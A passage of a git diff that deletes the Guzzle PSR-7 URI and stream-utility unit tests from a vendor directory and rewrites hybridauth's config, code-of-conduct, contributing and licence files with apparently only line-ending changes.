must not be magically removed. Otherwise it would be impossible to - // construct such an URI. Also the "?" and "/" does not need to be encoded in the query. - self::assertSame('?=%23&%E2%82%AC=/&b%61r', $uri->getQuery()); - self::assertSame('??=%23&%E2%82%AC=/&b%61r', (string) $uri); - } - - public function testWithFragmentEncodesProperly() - { - $uri = (new Uri())->withFragment('#€?/b%61r'); - // A fragment starting with a "#" is valid and must not be magically removed. Otherwise it would be impossible to - // construct such an URI. Also the "?" and "/" does not need to be encoded in the fragment. - self::assertSame('%23%E2%82%AC?/b%61r', $uri->getFragment()); - self::assertSame('#%23%E2%82%AC?/b%61r', (string) $uri); - } - - public function testAllowsForRelativeUri() - { - $uri = (new Uri)->withPath('foo'); - self::assertSame('foo', $uri->getPath()); - self::assertSame('foo', (string) $uri); - } - - public function testRelativePathAndAuhorityIsAutomagicallyFixed() - { - // concatenating a relative path with a host doesn't work: "//example.comfoo" would be wrong - $uri = (new Uri)->withPath('foo')->withHost('example.com'); - self::assertSame('/foo', $uri->getPath()); - self::assertSame('//example.com/foo', (string) $uri); - } - - public function testPathStartingWithTwoSlashesAndNoAuthorityIsInvalid() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'The path of a URI without an authority must not start with two slashes "//"'); - - // URI "//foo" would be interpreted as network reference and thus change the original path to the host - (new Uri)->withPath('//foo'); - } - - public function testPathStartingWithTwoSlashes() - { - $uri = new Uri('http://example.org//path-not-host.com'); - self::assertSame('//path-not-host.com', $uri->getPath()); - - $uri = $uri->withScheme(''); - self::assertSame('//example.org//path-not-host.com', (string) $uri); // This is still valid - $this->expectExceptionGuzzle('\InvalidArgumentException'); - $uri->withHost(''); // Now it becomes invalid - } - - public function testRelativeUriWithPathBeginngWithColonSegmentIsInvalid() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'A relative URI must not have a path beginning with a segment containing a colon'); - - (new Uri)->withPath('mailto:foo'); - } - - public function testRelativeUriWithPathHavingColonSegment() - { - $uri = (new Uri('urn:/mailto:foo'))->withScheme(''); - self::assertSame('/mailto:foo', $uri->getPath()); - - $this->expectExceptionGuzzle('\InvalidArgumentException'); - (new Uri('urn:mailto:foo'))->withScheme(''); - } - - public function testDefaultReturnValuesOfGetters() - { - $uri = new Uri(); - - self::assertSame('', $uri->getScheme()); - self::assertSame('', $uri->getAuthority()); - self::assertSame('', $uri->getUserInfo()); - self::assertSame('', $uri->getHost()); - self::assertNull($uri->getPort()); - self::assertSame('', $uri->getPath()); - self::assertSame('', $uri->getQuery()); - self::assertSame('', $uri->getFragment()); - } - - public function testImmutability() - { - $uri = new Uri(); - - self::assertNotSame($uri, $uri->withScheme('https')); - self::assertNotSame($uri, $uri->withUserInfo('user', 'pass')); - self::assertNotSame($uri, $uri->withHost('example.com')); - self::assertNotSame($uri, $uri->withPort(8080)); - self::assertNotSame($uri, $uri->withPath('/path/123')); - self::assertNotSame($uri, $uri->withQuery('q=abc')); - self::assertNotSame($uri, $uri->withFragment('test')); - } - - public function testExtendingClassesInstantiates() - { - // The non-standard port triggers a cascade of private methods which - // should not use late static binding to access private static members. - // If they do, this will fatal. - self::assertInstanceOf( - 'GuzzleHttp\Tests\Psr7\ExtendedUriTest', - new ExtendedUriTest('http://h:9/') - ); - } - - public function testSpecialCharsOfUserInfo() - { - // The `userInfo` must always be URL-encoded. - $uri = (new Uri)->withUserInfo('foo@bar.com', 'pass#word'); - self::assertSame('foo%40bar.com:pass%23word', $uri->getUserInfo()); - - // The `userInfo` can already be URL-encoded: it should not be encoded twice. - $uri = (new Uri)->withUserInfo('foo%40bar.com', 'pass%23word'); - self::assertSame('foo%40bar.com:pass%23word', $uri->getUserInfo()); - } - - public function testInternationalizedDomainName() - { - $uri = new Uri('https://яндекс.рф'); - self::assertSame('яндекс.рф', $uri->getHost()); - - $uri = new Uri('https://яндекAс.рф'); - self::assertSame('яндекaс.рф', $uri->getHost()); - } - - public function testIPv6Host() - { - $uri = new Uri('https://[2a00:f48:1008::212:183:10]'); - self::assertSame('[2a00:f48:1008::212:183:10]', $uri->getHost()); - - $uri = new Uri('http://[2a00:f48:1008::212:183:10]:56?foo=bar'); - self::assertSame('[2a00:f48:1008::212:183:10]', $uri->getHost()); - self::assertSame(56, $uri->getPort()); - self::assertSame('foo=bar', $uri->getQuery()); - } -} - -class ExtendedUriTest extends Uri -{ -} diff --git a/vendor/guzzlehttp/psr7/tests/UtilsTest.php b/vendor/guzzlehttp/psr7/tests/UtilsTest.php deleted file mode 100644 index 1a4274f5af..0000000000 --- a/vendor/guzzlehttp/psr7/tests/UtilsTest.php +++ /dev/null @@ -1,469 +0,0 @@ -seek(0); - self::assertSame('foo', Psr7\Utils::copyToString($s, 3)); - self::assertSame('baz', Psr7\Utils::copyToString($s, 3)); - self::assertSame('', Psr7\Utils::copyToString($s)); - } - - public function testCopiesToStringStopsWhenReadFails() - { - $s1 = Psr7\Utils::streamFor('foobaz'); - $s1 = FnStream::decorate($s1, [ - 'read' => function () { - return ''; - }, - ]); - $result = Psr7\Utils::copyToString($s1); - self::assertSame('', $result); - } - - public function testCopiesToStream() - { - $s1 = Psr7\Utils::streamFor('foobaz'); - $s2 = Psr7\Utils::streamFor(''); - Psr7\Utils::copyToStream($s1, $s2); - self::assertSame('foobaz', (string)$s2); - $s2 = Psr7\Utils::streamFor(''); - $s1->seek(0); - Psr7\Utils::copyToStream($s1, $s2, 3); - self::assertSame('foo', (string)$s2); - Psr7\Utils::copyToStream($s1, $s2, 3); - self::assertSame('foobaz', (string)$s2); - } - - public function testStopsCopyToStreamWhenWriteFails() - { - $s1 = Psr7\Utils::streamFor('foobaz'); - $s2 = Psr7\Utils::streamFor(''); - $s2 = FnStream::decorate($s2, [ - 'write' => function () { - return 0; - }, - ]); - Psr7\Utils::copyToStream($s1, $s2); - self::assertSame('', (string)$s2); - } - - public function testStopsCopyToSteamWhenWriteFailsWithMaxLen() - { - $s1 = Psr7\Utils::streamFor('foobaz'); - $s2 = Psr7\Utils::streamFor(''); - $s2 = FnStream::decorate($s2, [ - 'write' => function () { - return 0; - }, - ]); - Psr7\Utils::copyToStream($s1, $s2, 10); - self::assertSame('', (string)$s2); - } - - public function testCopyToStreamReadsInChunksInsteadOfAllInMemory() - { - $sizes = []; - $s1 = new Psr7\FnStream([ - 'eof' => function () { - return false; - }, - 'read' => function ($size) use (&$sizes) { - $sizes[] = $size; - return str_repeat('.', $size); - }, - ]); - $s2 = Psr7\Utils::streamFor(''); - Psr7\Utils::copyToStream($s1, $s2, 16394); - $s2->seek(0); - self::assertSame(16394, strlen($s2->getContents())); - self::assertSame(8192, $sizes[0]); - self::assertSame(8192, $sizes[1]); - self::assertSame(10, $sizes[2]); - } - - public function testStopsCopyToSteamWhenReadFailsWithMaxLen() - { - $s1 = Psr7\Utils::streamFor('foobaz'); - $s1 = FnStream::decorate($s1, [ - 'read' => function () { - return ''; - }, - ]); - $s2 = Psr7\Utils::streamFor(''); - Psr7\Utils::copyToStream($s1, $s2, 10); - self::assertSame('', (string)$s2); - } - - public function testReadsLines() - { - $s = Psr7\Utils::streamFor("foo\nbaz\nbar"); - self::assertSame("foo\n", Psr7\Utils::readLine($s)); - self::assertSame("baz\n", Psr7\Utils::readLine($s)); - self::assertSame('bar', Psr7\Utils::readLine($s)); - } - - public function testReadsLinesUpToMaxLength() - { - $s = Psr7\Utils::streamFor("12345\n"); - self::assertSame('123', Psr7\Utils::readLine($s, 4)); - self::assertSame("45\n", Psr7\Utils::readLine($s)); - } - - public function testReadLinesEof() - { - // Should return empty string on EOF - $s = Psr7\Utils::streamFor("foo\nbar"); - while (!$s->eof()) { - Psr7\Utils::readLine($s); - } - self::assertSame('', Psr7\Utils::readLine($s)); - } - - public function testReadsLineUntilFalseReturnedFromRead() - { - $s = $this->getMockBuilder('GuzzleHttp\Psr7\Stream') - ->setMethods(['read', 'eof']) - ->disableOriginalConstructor() - ->getMock(); - $s->expects(self::exactly(2)) - ->method('read') - ->will(self::returnCallback(function () { - static $c = false; - if ($c) { - return false; - } - $c = true; - return 'h'; - })); - $s->expects(self::exactly(2)) - ->method('eof') - ->will(self::returnValue(false)); - self::assertSame('h', Psr7\Utils::readLine($s)); - } - - public function testCalculatesHash() - { - $s = Psr7\Utils::streamFor('foobazbar'); - self::assertSame(md5('foobazbar'), Psr7\Utils::hash($s, 'md5')); - } - - public function testCalculatesHashThrowsWhenSeekFails() - { - $s = new NoSeekStream(Psr7\Utils::streamFor('foobazbar')); - $s->read(2); - - $this->expectExceptionGuzzle('RuntimeException'); - - Psr7\Utils::hash($s, 'md5'); - } - - public function testCalculatesHashSeeksToOriginalPosition() - { - $s = Psr7\Utils::streamFor('foobazbar'); - $s->seek(4); - self::assertSame(md5('foobazbar'), Psr7\Utils::hash($s, 'md5')); - self::assertSame(4, $s->tell()); - } - - public function testOpensFilesSuccessfully() - { - $r = Psr7\Utils::tryFopen(__FILE__, 'r'); - $this->assertInternalTypeGuzzle('resource', $r); - fclose($r); - } - - public function testThrowsExceptionNotWarning() - { - $this->expectExceptionGuzzle('RuntimeException', 'Unable to open "/path/to/does/not/exist" using mode "r"'); - - Psr7\Utils::tryFopen('/path/to/does/not/exist', 'r'); - } - - public function testThrowsExceptionNotValueError() - { - $this->expectExceptionGuzzle('RuntimeException', 'Unable to open "" using mode "r"'); - - Psr7\Utils::tryFopen('', 'r'); - } - - public function testCreatesUriForValue() - { - self::assertInstanceOf('GuzzleHttp\Psr7\Uri', Psr7\Utils::uriFor('/foo')); - self::assertInstanceOf( - 'GuzzleHttp\Psr7\Uri', - Psr7\Utils::uriFor(new Psr7\Uri('/foo')) - ); - } - - public function testValidatesUri() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - Psr7\Utils::uriFor([]); - } - - public function testKeepsPositionOfResource() - { - $h = fopen(__FILE__, 'r'); - fseek($h, 10); - $stream = Psr7\Utils::streamFor($h); - self::assertSame(10, $stream->tell()); - $stream->close(); - } - - public function testCreatesWithFactory() - { - $stream = Psr7\Utils::streamFor('foo'); - self::assertInstanceOf('GuzzleHttp\Psr7\Stream', $stream); - self::assertSame('foo', $stream->getContents()); - $stream->close(); - } - - public function testFactoryCreatesFromEmptyString() - { - $s = Psr7\Utils::streamFor(); - self::assertInstanceOf('GuzzleHttp\Psr7\Stream', $s); - } - - public function testFactoryCreatesFromNull() - { - $s = Psr7\Utils::streamFor(null); - self::assertInstanceOf('GuzzleHttp\Psr7\Stream', $s); - } - - public function testFactoryCreatesFromResource() - { - $r = fopen(__FILE__, 'r'); - $s = Psr7\Utils::streamFor($r); - self::assertInstanceOf('GuzzleHttp\Psr7\Stream', $s); - self::assertSame(file_get_contents(__FILE__), (string)$s); - } - - public function testFactoryCreatesFromObjectWithToString() - { - $r = new HasToString(); - $s = Psr7\Utils::streamFor($r); - self::assertInstanceOf('GuzzleHttp\Psr7\Stream', $s); - self::assertSame('foo', (string)$s); - } - - public function testCreatePassesThrough() - { - $s = Psr7\Utils::streamFor('foo'); - self::assertSame($s, Psr7\Utils::streamFor($s)); - } - - public function testThrowsExceptionForUnknown() - { - $this->expectExceptionGuzzle('InvalidArgumentException'); - - Psr7\Utils::streamFor(new \stdClass()); - } - - public function testReturnsCustomMetadata() - { - $s = Psr7\Utils::streamFor('foo', ['metadata' => ['hwm' => 3]]); - self::assertSame(3, $s->getMetadata('hwm')); - self::assertArrayHasKey('hwm', $s->getMetadata()); - } - - public function testCanSetSize() - { - $s = Psr7\Utils::streamFor('', ['size' => 10]); - self::assertSame(10, $s->getSize()); - } - - public function testCanCreateIteratorBasedStream() - { - $a = new \ArrayIterator(['foo', 'bar', '123']); - $p = Psr7\Utils::streamFor($a); - self::assertInstanceOf('GuzzleHttp\Psr7\PumpStream', $p); - self::assertSame('foo', $p->read(3)); - self::assertFalse($p->eof()); - self::assertSame('b', $p->read(1)); - self::assertSame('a', $p->read(1)); - self::assertSame('r12', $p->read(3)); - self::assertFalse($p->eof()); - self::assertSame('3', $p->getContents()); - self::assertTrue($p->eof()); - self::assertSame(9, $p->tell()); - } - - public function testConvertsRequestsToStrings() - { - $request = new Psr7\Request('PUT', 'http://foo.com/hi?123', [ - 'Baz' => 'bar', - 'Qux' => 'ipsum', - ], 'hello', '1.0'); - self::assertSame( - "PUT /hi?123 HTTP/1.0\r\nHost: foo.com\r\nBaz: bar\r\nQux: ipsum\r\n\r\nhello", - Psr7\Message::toString($request) - ); - } - - public function testConvertsResponsesToStrings() - { - $response = new Psr7\Response(200, [ - 'Baz' => 'bar', - 'Qux' => 'ipsum', - ], 'hello', '1.0', 'FOO'); - self::assertSame( - "HTTP/1.0 200 FOO\r\nBaz: bar\r\nQux: ipsum\r\n\r\nhello", - Psr7\Message::toString($response) - ); - } - - public function testCorrectlyRendersSetCookieHeadersToString() - { - $response = new Psr7\Response(200, [ - 'Set-Cookie' => ['bar','baz','qux'] - ], 'hello', '1.0', 'FOO'); - self::assertSame( - "HTTP/1.0 200 FOO\r\nSet-Cookie: bar\r\nSet-Cookie: baz\r\nSet-Cookie: qux\r\n\r\nhello", - Psr7\Message::toString($response) - ); - } - - public function testCanModifyRequestWithUri() - { - $r1 = new Psr7\Request('GET', 'http://foo.com'); - $r2 = Psr7\Utils::modifyRequest($r1, [ - 'uri' => new Psr7\Uri('http://www.foo.com'), - ]); - self::assertSame('http://www.foo.com', (string)$r2->getUri()); - self::assertSame('www.foo.com', (string)$r2->getHeaderLine('host')); - } - - public function testCanModifyRequestWithUriAndPort() - { - $r1 = new Psr7\Request('GET', 'http://foo.com:8000'); - $r2 = Psr7\Utils::modifyRequest($r1, [ - 'uri' => new Psr7\Uri('http://www.foo.com:8000'), - ]); - self::assertSame('http://www.foo.com:8000', (string)$r2->getUri()); - self::assertSame('www.foo.com:8000', (string)$r2->getHeaderLine('host')); - } - - public function testCanModifyRequestWithCaseInsensitiveHeader() - { - $r1 = new Psr7\Request('GET', 'http://foo.com', ['User-Agent' => 'foo']); - $r2 = Psr7\Utils::modifyRequest($r1, ['set_headers' => ['User-agent' => 'bar']]); - self::assertSame('bar', $r2->getHeaderLine('User-Agent')); - self::assertSame('bar', $r2->getHeaderLine('User-agent')); - } - - public function testReturnsAsIsWhenNoChanges() - { - $r1 = new Psr7\Request('GET', 'http://foo.com'); - $r2 = Psr7\Utils::modifyRequest($r1, []); - self::assertInstanceOf('GuzzleHttp\Psr7\Request', $r2); - - $r1 = new Psr7\ServerRequest('GET', 'http://foo.com'); - $r2 = Psr7\Utils::modifyRequest($r1, []); - self::assertInstanceOf('Psr\Http\Message\ServerRequestInterface', $r2); - } - - public function testReturnsUriAsIsWhenNoChanges() - { - $r1 = new Psr7\Request('GET', 'http://foo.com'); - $r2 = Psr7\Utils::modifyRequest($r1, ['set_headers' => ['foo' => 'bar']]); - self::assertNotSame($r1, $r2); - self::assertSame('bar', $r2->getHeaderLine('foo')); - } - - public function testRemovesHeadersFromMessage() - { - $r1 = new Psr7\Request('GET', 'http://foo.com', ['foo' => 'bar']); - $r2 = Psr7\Utils::modifyRequest($r1, ['remove_headers' => ['foo']]); - self::assertNotSame($r1, $r2); - self::assertFalse($r2->hasHeader('foo')); - } - - public function testAddsQueryToUri() - { - $r1 = new Psr7\Request('GET', 'http://foo.com'); - $r2 = Psr7\Utils::modifyRequest($r1, ['query' => 'foo=bar']); - self::assertNotSame($r1, $r2); - self::assertSame('foo=bar', $r2->getUri()->getQuery()); - } - - public function testModifyRequestKeepInstanceOfRequest() - { - $r1 = new Psr7\Request('GET', 'http://foo.com'); - $r2 = Psr7\Utils::modifyRequest($r1, ['remove_headers' => ['non-existent']]); - self::assertInstanceOf('GuzzleHttp\Psr7\Request', $r2); - - $r1 = new Psr7\ServerRequest('GET', 'http://foo.com'); - $r2 = Psr7\Utils::modifyRequest($r1, ['remove_headers' => ['non-existent']]); - self::assertInstanceOf('Psr\Http\Message\ServerRequestInterface', $r2); - } - - public function testModifyServerRequestWithUploadedFiles() - { - $request = new Psr7\ServerRequest('GET', 'http://example.com/bla'); - $file = new Psr7\UploadedFile('Test', 100, \UPLOAD_ERR_OK); - $request = $request->withUploadedFiles([$file]); - - /** @var Psr7\ServerRequest $modifiedRequest */ - $modifiedRequest = Psr7\Utils::modifyRequest($request, ['set_headers' => ['foo' => 'bar']]); - - self::assertCount(1, $modifiedRequest->getUploadedFiles()); - - $files = $modifiedRequest->getUploadedFiles(); - self::assertInstanceOf('GuzzleHttp\Psr7\UploadedFile', $files[0]); - } - - public function testModifyServerRequestWithCookies() - { - $request = (new Psr7\ServerRequest('GET', 'http://example.com/bla')) - ->withCookieParams(['name' => 'value']); - - /** @var Psr7\ServerRequest $modifiedRequest */ - $modifiedRequest = Psr7\Utils::modifyRequest($request, ['set_headers' => ['foo' => 'bar']]); - - self::assertSame(['name' => 'value'], $modifiedRequest->getCookieParams()); - } - - public function testModifyServerRequestParsedBody() - { - $request = (new Psr7\ServerRequest('GET', 'http://example.com/bla')) - ->withParsedBody(['name' => 'value']); - - /** @var Psr7\ServerRequest $modifiedRequest */ - $modifiedRequest = Psr7\Utils::modifyRequest($request, ['set_headers' => ['foo' => 'bar']]); - - self::assertSame(['name' => 'value'], $modifiedRequest->getParsedBody()); - } - - public function testModifyServerRequestQueryParams() - { - $request = (new Psr7\ServerRequest('GET', 'http://example.com/bla')) - ->withQueryParams(['name' => 'value']); - - /** @var Psr7\ServerRequest $modifiedRequest */ - $modifiedRequest = Psr7\Utils::modifyRequest($request, ['set_headers' => ['foo' => 'bar']]); - - self::assertSame(['name' => 'value'], $modifiedRequest->getQueryParams()); - } - - public function testModifyServerRequestRetainsAttributes() - { - $request = (new Psr7\ServerRequest('GET', 'http://example.com/bla')) - ->withAttribute('foo', 'bar'); - - /** @var Psr7\ServerRequest $modifiedRequest */ - $modifiedRequest = Psr7\Utils::modifyRequest($request, []); - - self::assertSame(['foo' => 'bar'], $modifiedRequest->getAttributes()); - } -} diff --git a/vendor/hybridauth/hybridauth/.editorconfig b/vendor/hybridauth/hybridauth/.editorconfig index f8f706f5f6..d6e0e47afc 100644 --- a/vendor/hybridauth/hybridauth/.editorconfig +++ b/vendor/hybridauth/hybridauth/.editorconfig @@ -1,9 +1,9 @@ -root = true - -[*] -charset = utf-8 -end_of_line = lf -insert_final_newline = true -trim_trailing_whitespace = true -indent_style = space -indent_size = 4 +root = true + +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true +indent_style = space +indent_size = 4 diff --git a/vendor/hybridauth/hybridauth/.scrutinizer.yml b/vendor/hybridauth/hybridauth/.scrutinizer.yml index 453342dd87..c93de212b3 100644 --- a/vendor/hybridauth/hybridauth/.scrutinizer.yml +++ b/vendor/hybridauth/hybridauth/.scrutinizer.yml @@ -1,42 +1,42 @@ -filter: - excluded_paths: - - docs/* - - vendor/* - - tests/* - - examples/* - - src/Deprecated/* - - src/Thirdparty/* - -tools: - php_mess_detector: true - php_analyzer: true - php_pdepend: true - -checks: - php: - code_rating: true - duplication: false - avoid_multiple_statements_on_same_line: true - avoid_fixme_comments: true - avoid_todo_comments: true - avoid_unnecessary_concatenation: true - classes_in_camel_caps: true - encourage_single_quotes: true - fix_line_ending: true - function_in_camel_caps: true - line_length: - max_length: '160' - parameters_in_camelcaps: true - properties_in_camelcaps: true - uppercase_constants: true - -coding_style: - php: - indentation: - general: - use_tabs: true - spaces: - general: - linefeed_character: return-newline - around_operators: - negation: true +filter: + excluded_paths: + - docs/* + - vendor/* + - tests/* + - examples/* + - src/Deprecated/* + - src/Thirdparty/* + +tools: + php_mess_detector: true + php_analyzer: true + php_pdepend: true + +checks: + php: + code_rating: true + duplication: false + avoid_multiple_statements_on_same_line: true + avoid_fixme_comments: true + avoid_todo_comments: true + avoid_unnecessary_concatenation: true + classes_in_camel_caps: true + encourage_single_quotes: true + fix_line_ending: true + function_in_camel_caps: true + line_length: + max_length: '160' + parameters_in_camelcaps: true + properties_in_camelcaps: true + uppercase_constants: true + +coding_style: + php: + indentation: + general: + use_tabs: true + spaces: + general: + linefeed_character: return-newline + around_operators: + negation: true diff --git a/vendor/hybridauth/hybridauth/.travis.yml b/vendor/hybridauth/hybridauth/.travis.yml index 48dbe19f65..cbf6e13281 100644 --- a/vendor/hybridauth/hybridauth/.travis.yml +++ b/vendor/hybridauth/hybridauth/.travis.yml @@ -1,40 +1,40 @@ -# TravisCI configuration for hybridauth/hybridauth - -language: "php" -os: - - "linux" -dist: "bionic" - -php: - - "7.4" - - "7.3" - - "7.2" - - "8.0" - -jobs: - include: - - name: "PHP 5.6" - dist: "xenial" - php: "5.6" - # "php": ">=5.4.0" - - name: "PHP 5.4" - dist: "trusty" - php: "5.4" - -cache: - directories: - - "${HOME}/.composer/cache" - -before_script: - - "composer validate --strict" - -install: - - "composer install --prefer-dist" - - "composer global require squizlabs/php_codesniffer" - -script: - - "vendor/bin/phpunit --verbose" - - "composer global exec -- phpcs -p -s --extensions=php --standard=PSR2 --ignore='./src/Thirdparty/*' ./src" - -notifications: - email: false +# TravisCI configuration for hybridauth/hybridauth + +language: "php" +os: + - "linux" +dist: "bionic" + +php: + - "7.4" + - "7.3" + - "7.2" + - "8.0" + +jobs: + include: + - name: "PHP 5.6" + dist: "xenial" + php: "5.6" + # "php": ">=5.4.0" + - name: "PHP 5.4" + dist: "trusty" + php: "5.4" + +cache: + directories: + - "${HOME}/.composer/cache" + +before_script: + - "composer validate --strict" + +install: + - "composer install --prefer-dist" + - "composer global require squizlabs/php_codesniffer" + +script: + - "vendor/bin/phpunit --verbose" + - "composer global exec -- phpcs -p -s --extensions=php --standard=PSR2 --ignore='./src/Thirdparty/*' ./src" + +notifications: + email: false diff --git a/vendor/hybridauth/hybridauth/CHANGELOG.md b/vendor/hybridauth/hybridauth/CHANGELOG.md index 534dd4f8cd..b41812b003 100644 --- a/vendor/hybridauth/hybridauth/CHANGELOG.md +++ b/vendor/hybridauth/hybridauth/CHANGELOG.md @@ -1 +1 @@ -see https://github.com/hybridauth/hybridauth/releases +see https://github.com/hybridauth/hybridauth/releases diff --git a/vendor/hybridauth/hybridauth/CODE_OF_CONDUCT.md b/vendor/hybridauth/hybridauth/CODE_OF_CONDUCT.md index 63af3ffb5c..f1ddbff328 100644 --- a/vendor/hybridauth/hybridauth/CODE_OF_CONDUCT.md +++ b/vendor/hybridauth/hybridauth/CODE_OF_CONDUCT.md @@ -1,46 +1,46 @@ -# Contributor Covenant Code of Conduct - -## Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. - -## Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -* Using welcoming and inclusive language -* Being respectful of differing viewpoints and experiences -* Gracefully accepting constructive criticism -* Focusing on what is best for the community -* Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery and unwelcome sexual attention or advances -* Trolling, insulting/derogatory comments, and personal or political attacks -* Public or private harassment -* Publishing others' private information, such as a physical or electronic address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a professional setting - -## Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -## Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -## Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at hybridauth@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -## Attribution - -This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at hybridauth@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/vendor/hybridauth/hybridauth/CONTRIBUTING.md b/vendor/hybridauth/hybridauth/CONTRIBUTING.md index 0095a92d6f..ece76a0dee 100644 --- a/vendor/hybridauth/hybridauth/CONTRIBUTING.md +++ b/vendor/hybridauth/hybridauth/CONTRIBUTING.md @@ -1,49 +1,49 @@ -Contributing -============ - -Hybridauth is a community driven project, and it needs your help to keep the project going. - - -### Report Problems - -A great way to help is to find and submit [bug reports](https://github.com/hybridauth/hybridauth/issues) or to fix the -existing ones. - -When reporting new issues, please provide as much detail and context as possible, otherwise we will be left in the dark -about the problem you having. - - -### Documentation - -You can help improve Hybridauth user documentation (this website) by making it more consistent and readable, and by adding -missing information, correcting errors and typos. - -Hybridauth documentation is maintained as plain text markdown files at https://github.com/hybridauth/hybridauth.github.io - - -### Develop - -If you have fixed a bug or implemented a new feature that you would like to share with the community, send a pull request -against the [dev branch](https://github.com/hybridauth/hybridauth/). - -Before contributing code, please consider these guide lines: - -**Coding Style** - -Hybridauth follows [PSR-1](http://www.php-fig.org/psr/psr-1/) and [PSR-2](http://www.php-fig.org/psr/psr-2/). - -Please prevent your IDE for reformatting huge chunks of code/files as it make it nearly impossible to see what changes were -actually made to a file on your Pull Request. - -**Compatibility** - -Additional providers, minor enhancements, bugs and typos fixes are most welcome. Large and "breaking" changes should be -discussed ahead of time. **Please ask first**. - -Hybridauth 3 is compatible with **PHP 5.4** and therefore all code supplied must stick to this requirement. - -**License** - -Hybridauth PHP Library is released under the terms of MIT License: By contributing your code to the project, you agree to -license your contribution under the MIT License. (which means, once you donate your code to the community, it become freely -available to everyone to use, or mis-use). +Contributing +============ + +Hybridauth is a community driven project, and it needs your help to keep the project going. + + +### Report Problems + +A great way to help is to find and submit [bug reports](https://github.com/hybridauth/hybridauth/issues) or to fix the +existing ones. + +When reporting new issues, please provide as much detail and context as possible, otherwise we will be left in the dark +about the problem you having. + + +### Documentation + +You can help improve Hybridauth user documentation (this website) by making it more consistent and readable, and by adding +missing information, correcting errors and typos. + +Hybridauth documentation is maintained as plain text markdown files at https://github.com/hybridauth/hybridauth.github.io + + +### Develop + +If you have fixed a bug or implemented a new feature that you would like to share with the community, send a pull request +against the [dev branch](https://github.com/hybridauth/hybridauth/). + +Before contributing code, please consider these guide lines: + +**Coding Style** + +Hybridauth follows [PSR-1](http://www.php-fig.org/psr/psr-1/) and [PSR-2](http://www.php-fig.org/psr/psr-2/). + +Please prevent your IDE for reformatting huge chunks of code/files as it make it nearly impossible to see what changes were +actually made to a file on your Pull Request. + +**Compatibility** + +Additional providers, minor enhancements, bugs and typos fixes are most welcome. Large and "breaking" changes should be +discussed ahead of time. **Please ask first**. + +Hybridauth 3 is compatible with **PHP 5.4** and therefore all code supplied must stick to this requirement. + +**License** + +Hybridauth PHP Library is released under the terms of MIT License: By contributing your code to the project, you agree to +license your contribution under the MIT License. (which means, once you donate your code to the community, it become freely +available to everyone to use, or mis-use). diff --git a/vendor/hybridauth/hybridauth/COPYING.md b/vendor/hybridauth/hybridauth/COPYING.md index 81256f0ea2..6ef8069173 100644 --- a/vendor/hybridauth/hybridauth/COPYING.md +++ b/vendor/hybridauth/hybridauth/COPYING.md @@ -1,75 +1,75 @@ -Except where otherwise noted in the source code (i.e., LightOpenID and OAuth -Library, which are covered by similar licences but with different Copyright -notices) all the files are: - - Copyright (C) 2009-2019, Hybridauth authors. All Rights Reserved. - -Permission is hereby granted, free of charge, to 